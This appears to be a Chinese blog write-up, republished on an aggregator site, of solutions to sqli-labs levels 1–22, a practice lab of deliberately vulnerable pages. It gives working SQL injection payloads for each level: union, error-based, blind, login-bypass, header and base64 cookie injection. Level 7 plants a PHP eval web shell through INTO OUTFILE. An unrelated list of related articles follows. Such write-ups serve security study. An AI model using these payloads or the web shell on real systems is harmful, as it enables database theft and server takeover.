sqli-labs-master靶场训练笔记(1-22|新手村)

2024.1.21

level-1

(单引号装饰) 

先根据提示建立一个get请求


在尝试使用单个单引号测试,成功发现语句未闭合报错

然后反手一个 order by 得到数据库共3列,-- 后面加字母防止浏览器吃掉 -- 操作(有些会)

再把id改到一个不存在的值防止占用回显位,接上 select 得到回显位是2,3

然后随便选一个回显位开始 爆库 --> 爆表 --> 爆字段 --> 爆数据

?id=-1' union select 1,2,database() -- a
?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security') -- a
?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users') -- a
?id=-1' union select 1,2,(select group_concat('~',username,'~') from security.users limit 0,1) -- a

 爆数据时也可以用

?id=-1' union select 1,2,(select concat('~',username,'~') from security.users limit 0,1) -- a

?id=-1' union select 1,2,(select concat('~',username,'~') from security.users where id=1) -- a

来一个一个爆

 

(level-1能有什么坏心思呢,直接拿下(¬◡¬)✧)

level-2

(数字型) 

先尝试了一个和两个单双引号结果都报错,那就在尝试 id=2-1 发现返回的是id=1的值,那就很明显是个简单的数字型注入

 然后就和level-1一样依葫芦画瓢 得列数 --> 爆库 --> 爆表 --> 爆字段 --> 爆数据

此处省略直接给最后一步

?id=-1 union select 1,2,(select group_concat('~',username,'~') from security.users limit 0,1) -- a

(level-2能有什么坏心思呢,不过是leve-1变了个性罢了(¬◡¬)✧)

level-3

(单引号+括号装饰) 

按惯例先小a一个单引号,很好,报错了,看一下报错信息发现多了壳,那就很容易猜到数据库接收的格式大概是 username=('%s') 这样的,那我们也套个壳并把原有的壳干掉

尝试了一下,果然没错,那接下来就是老操作 得列数 --> 爆库 --> 爆表 --> 爆字段 --> 爆数据

直接给poc

?id=-1') union select 1,2,(select group_concat('~',username,'~') from security.users limit 0,1) -- a

 

(level-3能有什么坏心思呢,不过是leve-1穿了个衣服罢了(¬◡¬)✧)

level-4

(双引号+括号装饰) 

惯例上场先小a一个单引号,没用,再小a一个双引号,直接破防,猜出 username=("%s") 

那根据level-3的经验很容易造出绕过

构造出poc

?id=-1") union select 1,2,(select group_concat('~',username,'~') from security.users limit 0,1) -- a

 (level-4能有什么坏心思呢,不过是leve-3的兄弟罢了(¬◡¬)✧)

 level-5

(报错注入) 

 很好,对面上来就放隐身技能,but,我们先小a一个单引号,专治各种花里胡哨,对面马上显现

观察报错信息可知和level-1一个路数,但对面都放技能了,我们再平a就不太厚道了,那就趁他病要他命,直接甩个报错注入

Ps:两个常用的报错函数,详细用法请自行了解,

函数示例
updatexml()?id=-1' and updatexml(1,concat(0x7e,database(),0x7e),1)  -- a
extractvalue()extractvalue(1,concat(0x7e,(mid((select user()),1,32)),0x7e))

老套路 爆库 --> 爆表 --> 爆字段 --> 爆数据

?id=1' union select extractvalue(1,concat('~',database(),'~')) -- a

?id=1' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~')) -- a

?id=1' and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),'~')) -- a

?id=1' and extractvalue(1,concat('~',(select group_concat(username) from security.users limit 0,1),'~')) -- a

 Ps:因为报错注入最多显示32位所以最后面的 ~ 没了,这也是 ~ 存在的原因,可以判断字段是否显示完整

(level-5能有什么坏心思呢,不过是leve-1想和你玩躲猫猫罢了(¬◡¬)✧)

level-6

(报错注入) 

很好,又来,小a一个单引号没用那就小a一个双引号,直接秒了

直接给出poc

?id=1" and extractvalue(1,concat('~',(select group_concat(username) from security.users limit 0,1),'~')) -- a

(level-6能有什么坏心思呢,不过是leve-1的兄弟想和你玩躲猫猫罢了(¬◡¬)✧)

level-7

(转储到输出文件) 

又开始玩花招了,报错信息被ban了,但他还留了提示 use outfile 

 但依然还是先判断绕过的格式,经过一番激烈的斗争......,得到了格式为 '))

要想mysql读写文件需要更改mysql配置

找到mysql里的my.ini,在[mysqld]中加入 secure-file-priv= 保存并重启mysql即可

那既然 outfile 都甩脸上了,直接写一个一句话木马,再用蚁剑一连,哎,小样给你底裤都扒干净咯

?id=-1')) union select 1,2,'<?php @eval($_POST["abc"]);?>' into outfile "D:\\2.tools_app\\phpstudy\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\1.php" -- a

 (level-7能有什么坏心思呢,不过是leve-1不想被你看光光罢了(¬◡¬)✧)

level-8

(盲注) 

level-7 异父异母的亲兄弟,小a个单引号很容易判断出注入点 id=1' -- a

但很显然 level-8 吸收了level-7 的缺陷,一句话木马注不进去,那么我们也要改变战术——盲注走起,那么——

先爆破一下库名的长度,长度为8

?id=1' and length(database())=1 -- a

 在对库名进行爆破,整理得 security

?id=1' and mid((select database()),1,1)='a' -- a

爆表名,得emails,referers,uagents,users

?id=1' and mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='a' -- a

 爆字段和爆数据操作类似,不写了,偷个懒

 (level-8能有什么坏心思呢,不过是leve-1欲情故纵罢了(¬◡¬)✧)

level-9

(盲注) 

很好,开始装高冷了,输什么都是一个样,那么就来看看你内心是否真的波澜不惊

抓包扔到 repeater 中可以看到 Content-Length: 707 代表正确

然后小a一个单引号马上显形

那么后续操作就和level-8一样了

?id=1' and mid((select database()),1,1)='a' -- a

(level-9能有什么坏心思呢,不过是leve-1表面的风平浪静罢了(¬◡¬)✧)

level-10

(盲注) 

level-9的孪生兄弟,双引号秒了

?id=1" and mid((select database()),1,1)='a' -- a

 (level-10能有什么坏心思呢,不过是想给leve-1报仇罢了(¬◡¬)✧)

level-11

 (单引号装饰)

 变成表单了,但任他变化万千,单引号yyds

 在反手接一个万能密码,直接拿下

uname=1'or 1=1 -- a&passwd=2&submit=Submit

这一题把GET请求变成了POST请求,但套路还是一样的

 (level-11能有什么坏心思呢,不过是leve-1画了个妆罢了(¬◡¬)✧)

level-12

 (双引号+括号装饰)

这熟悉的感觉,是level-4没错了

uname=1") or 1=1 -- a&passwd=2&submit=Submit

 (level-12能有什么坏心思呢,不过是leve-4画了个妆罢了(¬◡¬)✧) 

level-13 

(报错注入) 

level-3的注入格式

uname=1') -- a&passwd=2&submit=Submit

但是只有登录成功的标志(我的数据呐┻━┻︵╰(‵□′)╯︵┻━┻),这显然不是我们想要的,想必level-5已经告诉了我们答案,你说是吧,报错注入

uname=1') and updatexml(1,concat('~',(select database()),'~'),1) -- a&passwd=2&submit=Submit

(level-13能有什么坏心思呢,不过是画了妆的leve-3陪你玩躲猫猫罢了(¬◡¬)✧) 

level-14

(报错注入) 

一个双引号的事,没啥好说的

uname=1" and updatexml(1,concat('~',(select database()),'~'),1) -- a&passwd=2&submit=Submit

(level-14能有什么坏心思呢,我甚至不好评价(¬◡¬)✧) 

 level-15

(盲注) 

 配合万能钥匙可以判断出是单引号包装

uname=1' or 1=1 -- a&passwd=2&submit=Submit

正确错误都没回显位, 这高冷的气息,想必盲注的心已经按耐不住了

uname=1' or mid((select database()),1,1)='a' -- a&passwd=2&submit=Submit

(level-15能有什么坏心思呢,他只是想尝尝盲注的味道罢了(¬◡¬)✧) 

level-16

 (盲注)

依旧是先判断注入点,有了前几关的练级,三下五除二的试出格式

uname=1") or 1=1 -- a &passwd=&submit=Submit

然后就是熟悉的味道,熟悉的盲注

uname=1") or mid((select database()),1,1)="s" -- a &passwd=&submit=Submit

(level-16能有什么坏心思呢,他只是level-4的兄弟罢了(¬◡¬)✧)

level-17 

(报错注入) 

好好好,这个小卡拉蜜开始嘴臭了,这能忍?忍不了一点(ε=怒ε=怒ε=怒ε=怒ε=( o`ω′)ノ)

看 [PASSWORD RESET] 知道是重置密码,那就要猜一下用户名了,用burp自带的字典爆了一下可以爆出这些用户名

uname=admin&passwd=1&submit=Submit

接下来就是要爆数据了,我先尝试了一下对uname注入但是失败了,那么在试一下对passwd注入,本来想着用盲注的,可在造轮子的时候有了意外发现,测了一下,当password的长度>=21时,会有警告

uname=admin&passwd=123456789012345678901&submit=Submit

那么,有没有利用之处呢 

报错注入一手,直接拿下

uname=admin&passwd=1'and updatexml(1,concat('~',(select database()),'~'),1) -- a&submit=Submit

 事后回顾:

看了一下源代码,之所以username没有注入点是因为用了mysql_fetch_array()

mysql_fetch_array() 函数从结果集中取得一行做为关联数组(即键值对数组,带有指定的键的数组,每一个键关联一个值),或数字数组(带有数字 ID 键的数组),或两者兼有mysql

返回根据从结果集取得的行生成的数组,若是没有更多行则返回 false。

(level-17能有什么坏心思呢,只是犯下了傲慢之罪罢了(¬◡¬)✧)

level-18

 (User-Agent 注入)

 一开始就把IP怼脸上,既然有IP显示,那大概率http请求报头与数据库有交互,既然有交互,就有注入的机会,在用admin登录看看有什么幺蛾子

uname=admin&passwd=admin&submit=Submit

可以看到 User-Agent 也有交互,那么针对 User-Agent 构造poc,直接接在后面即可

' and updatexml(1,concat('~',(select database()),'~'),1) and '

 Ps:

                '        and        updatexml(1,concat('~',(select database()),'~'),1)        and        '

                ↓         ↓                                               ↓                                                ↓          ↓

           与数据  连接                                    报错注入语句                                  连接   与数据

           库原有  前后                                                                                            前后   库原有

           的单引  语句                                                                                            语句   的单引

           号闭合                                                                                                               号闭合

(level-18能有什么坏心思呢,只是想更多的了解你罢了(¬◡¬)✧)

level-19

 (Referer 注入) 

和 level-18 殊途同归,这题是 Referer 请求头注入,改都不带改的,直接一粘

' and updatexml(1,concat('~',(select database()),'~'),1) and '

(level-19能有什么坏心思呢,不过想看看召唤自己的咒语罢了(¬◡¬)✧)

level-20

(cookie 注入)

用admin登进去,发现这次多了 cookie 属性,那就抓包准备接借 cookie 之手进行注入

哎呀,也没啥变化,和level-19一样,一粘可以了

' and updatexml(1,concat('~',(select database()),'~'),1) and '

(level-20能有什么坏心思呢,他只是罢了(¬◡¬)✧)(唯有抓包才能发现的彩蛋(也许吧))

level-21

(cookie 注入+数据加密

从页面上就可以看出这次的数据被 baes64 加密了

中国有句古话:师夷长技以制夷 ,用base64加密后的数据即可爆出数据

加密前:

admin' and updatexml(1,concat('~',(select database()),'~'),1) and '

加密后: 

YWRtaW4nIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoJ34nLChzZWxlY3QgZGF0YWJhc2UoKSksJ34nKSwxKSBhbmQgJw==

(level-21能有什么坏心思呢,他只是进行了秘密行动罢了(¬◡¬)✧)

level-22

(cookie 注入+数据加密)  

和level-21大差不差,用双引号装饰

admin" and updatexml(1,concat('~',(select database()),'~'),1) and "
YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoJ34nLChzZWxlY3QgZGF0YWJhc2UoKSksJ34nKSwxKSBhbmQgIg==

(level-22能有什么坏心思呢,(¬◡¬)✧) 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/657311.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

maven helper 解决jar包冲突方法

一 概要说明 1.1 说明 首先&#xff0c;解决idea中jar包冲突&#xff0c;使用maven的插件&#xff1a;maven helper插件&#xff0c;它能够给我们罗列出来同一个jar包的不同版本&#xff0c;以及他们的来源&#xff0c;但是对不同jar包中同名的类没有办法。 1.2 依赖顺序 …

Spring | Spring的“数据库开发“ (Srping JDBC)

目录&#xff1a; Spring JDBC1.Spring JDBC的核心类 ( JdbcTemplate类 )2.Srping JDBC 的配置3.JdbcTemplate类的“常用方法”execute( )&#xff1a;直接执行“sql语句”&#xff0c;没有返回值update( ) &#xff1a;“增删改”&#xff0c;返回 “影响的行数”query( ) : “…

双链表的基本知识以及增删查改的实现

满怀热忱&#xff0c;前往梦的彼岸 前言 之前我们对单链表进行了非常细致的剖析&#xff0c;现在我们所面临的则是与之相对应的双链表&#xff0c;我会先告诉诸位它的基本知识&#xff0c;再接着把它的增删查改讲一下&#xff0c;ok&#xff0c;正文开始。 一.链表的种类 我…

其他发现:开源数据可视化分析工具DataEase介绍文档

一、 简介 DataEase 是开源的数据可视化分析工具&#xff0c;帮助用户快速分析数据并洞察业务趋势&#xff0c;从而实现业务的改进与优化。DataEase 支持丰富的数据源连接&#xff0c;能够通过拖拉拽方式快速制作图表&#xff0c;并可以方便地与他人分享。 二、 优势 1、 开…

STM32学习笔记二——STM32时钟源时钟树

目录 STM32芯片内部系统架构详细讲解&#xff1a; 1.芯片内部混乱电信号解决方案&#xff1a; 2.时钟树&#xff1a; 1.内部RC振荡器与外部晶振的选择 2. STM32 时钟源 3.STM32中几个与时钟相关的概念 4.时钟输出的使能及其流程 5.时钟设置的基本流程 时钟源——单片机…

Java多线程--同步机制解决线程安全问题方式二:同步方法

文章目录 一、同步方法&#xff08;1&#xff09;同步方法--案例11、案例12、案例1之同步监视器 &#xff08;2&#xff09;同步方法--案例21、案例2之同步监视器的问题2、案例2的补充说明 二、代码及重要说明&#xff08;1&#xff09;代码&#xff08;2&#xff09;重要说明 …

基于yolov2深度学习网络的视频手部检测算法matlab仿真

目录 1.算法运行效果图预览 2.算法运行软件版本 3.部分核心程序 4.算法理论概述 5.算法完整程序工程 1.算法运行效果图预览 输入mp4格式的视频文件进行测试&#xff0c;视频格式为1080p30. 2.算法运行软件版本 matlab2022a 3.部分核心程序 ..........................…

Linux第40步_移植ST公司的uboot

一、查看ST公司的uboot源码包 ST公司的uboot源码包在虚拟机中的路径&#xff1a; “/home/zgq/linux/atk-mp1/stm32mp1-openstlinux-5.4-dunfell-mp1-20-06-24/sources/arm-ostl-linux-gnueabi/u-boot-stm32mp-2020.01-r0”&#xff1b; “u-boot-stm32mp-2020.01-r0”就是S…

Github 上传项目(个人令牌token)

1.点击 github头像 &#xff1a; setting -> Developer Settings -> Personal access tokens 2.在要上传的文件夹下运行以下命令&#xff1a; git init git commit -m "first commit" git branch -M main 利用以下命令模…

Vue中嵌入原生HTML页面

Vue中嵌入html页面并相互通信 需求&#xff1a;b2b支付需要从后获取到数据放到form表单提交跳转&#xff0c;如下&#xff1a; 但是vue目前暂时没找到有类似功能相关文档&#xff0c;所以我采用iframe嵌套的方式 1. Vue中嵌入Html <iframe src"/static/gateway.htm…

多线程c++

目录 1.join和detach区别 2.lock_guard和unique_lock 3.原子操作 4.条件变量condition_variable 5.future 和 promise 1.join和detach区别 ①不使用join和detach #include <iostream> #include <thread> #include <windows.h>using namespace std;v…

hcip---ospf综合实验

一&#xff1a;实验要求 1、R4为ISP&#xff0c;其上只能配置IP地址&#xff0c;R4与其所有直连设备间均使用公有IP 2、R3-R5/6/7为MGRE环境&#xff0c;R3为中心站点 3、整个OSPF环境IP基于R4的环回 4、所有设备均可访问R4的环回 5、减少LSA的更新量&#xff0c;加快收敛…

医院如何筛选安全合规的内外网文件交换系统?

医院内外网文件交换系统是专为医疗机构设计的&#xff0c;用于在内部网络&#xff08;内网&#xff09;和外部网络&#xff08;外网&#xff09;之间安全、高效地传输敏感医疗数据和文件的解决方案。这种系统对于保护患者隐私、遵守医疗数据保护法规以及确保医疗服务的连续性和…

初探分布式链路追踪

本篇文章&#xff0c;主要介绍应用如何正确使用日志系统&#xff0c;帮助用户从依赖、输出、清理、问题排查、报警等各方面全面掌握。 可观测性 可观察性不单是一套理论框架&#xff0c;而且并不强制具体的技术规格。其核心在于鼓励团队内化可观察性的理念&#xff0c;并确保由…

Django4.2(DRF)+Vue3 读写分离项目部署上线

文章目录 1 前端2 后端2.1 修改 settings.py 文件关于静态文件2.2 关于用户上传的文件图片 3 Nginx4 镜像制作4.1 nginx4.3 Django镜像4.3.1 构建 5 docker-compose 文件内容 1 前端 进入前端项目的根目录&#xff0c;运行如下命令进行构建 npm run build构建完成后&#xff…

K8S之Pod的介绍和使用

Pod的理论和实操 pod理论说明Pod介绍Pod运行与管理Pod管理多个容器Pod网络Pod存储 Pod工作方式自主式Pod控制器管理的Pod&#xff08;常用&#xff09; 创建pod的流程 pod实操通过资源清单文件创建自主式pod通过kubectl run创建Pod&#xff08;不常用&#xff09; pod理论说明 …

指针的深入了解6

1.回调函数 回调函数就是一个通过函数指针调用的函数。 如果你把函数的指针&#xff08;地址&#xff09;作为参数传递给另一个函数&#xff0c;当这个指针被用来调用其所指向的函数 时&#xff0c;被调用的函数就是回调函数。回调函数不是由该函数的实现方直接调用&#xff0…

【LVGL源码移植环境搭建】

LVGL源码移植&环境搭建 ■ LVGL源码移植■ 下载LVGL源码■ 修改LVGL文件夹■■■■ 视频链接 Ubuntu模拟器环境建置 ■ LVGL源码移植 ■ 下载LVGL源码 LVGL源码 我们以选择v8.2.0为例&#xff0c;选择8.2.0下载 ■ 修改LVGL文件夹 1.我们只需要关注这5个文件即可&…

《Docker技术革命:从虚拟机到容器化,全面解析Docker的原理与应用-上篇》

文章目录 Docker为什么会出现总结 Docker的思想Docker历史总结 Docker能干嘛虚拟机技术虚拟机技术的缺点 容器化技术Docker和虚拟机技术的区别 Docker概念Docker的基本组成镜像&#xff08;image)容器&#xff08;container&#xff09;仓科&#xff08;repository&#xff09;…

GitHub工作流的使用笔记

文章目录 前言1. 怎么用2. 怎么写前端案例1&#xff1a;自动打包到新分支前端案例2&#xff1a;自动打包推送到gitee的build分支案例3&#xff1a;暂时略 前言 有些东西真的就是要不断的试错不断地试错才能摸索到一点点&#xff0c;就是摸索到凌晨两三点第二天要8点起床感觉要…